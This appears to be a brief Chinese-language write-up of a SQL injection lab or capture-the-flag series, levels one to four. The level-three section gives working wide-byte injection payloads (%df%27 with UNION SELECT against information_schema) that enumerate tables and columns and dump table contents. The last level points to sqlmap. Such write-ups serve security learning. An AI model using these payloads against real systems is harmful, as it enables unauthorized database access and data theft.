第一關
萬能密鑰
第二關
查看源碼–>tips：?id=1
在url後面加上?id=1 就可以正常注入了
第三關
=?id=1得到
錯誤頁面如下
寬字節
%df%27報錯
提示需要一個參數
傳參可能是(’$id’)–>(‘1漢字’’)
?id=1%df%27%23
(’$id’)–>(‘1漢字’#’)
好的，證明爲寬字節
order by 4 錯誤
order by 3正常（返回空白頁面纔是正常）
如果不是寬字節的話id=1要變爲-1 或者在後面1=2（查詢語句類型爲false就行）
有informa_schema
id=1%df%27union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23
爆字段
id=1%df%27union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7361655F757365725F73716C6934),(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23
dump數據
id=1%df%27union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7361655F757365725F73716C6934),(select%20group_concat(title_1,content_1)%20from%20sae_user_sqli4)%23
第四關
還是直接sqlmap就好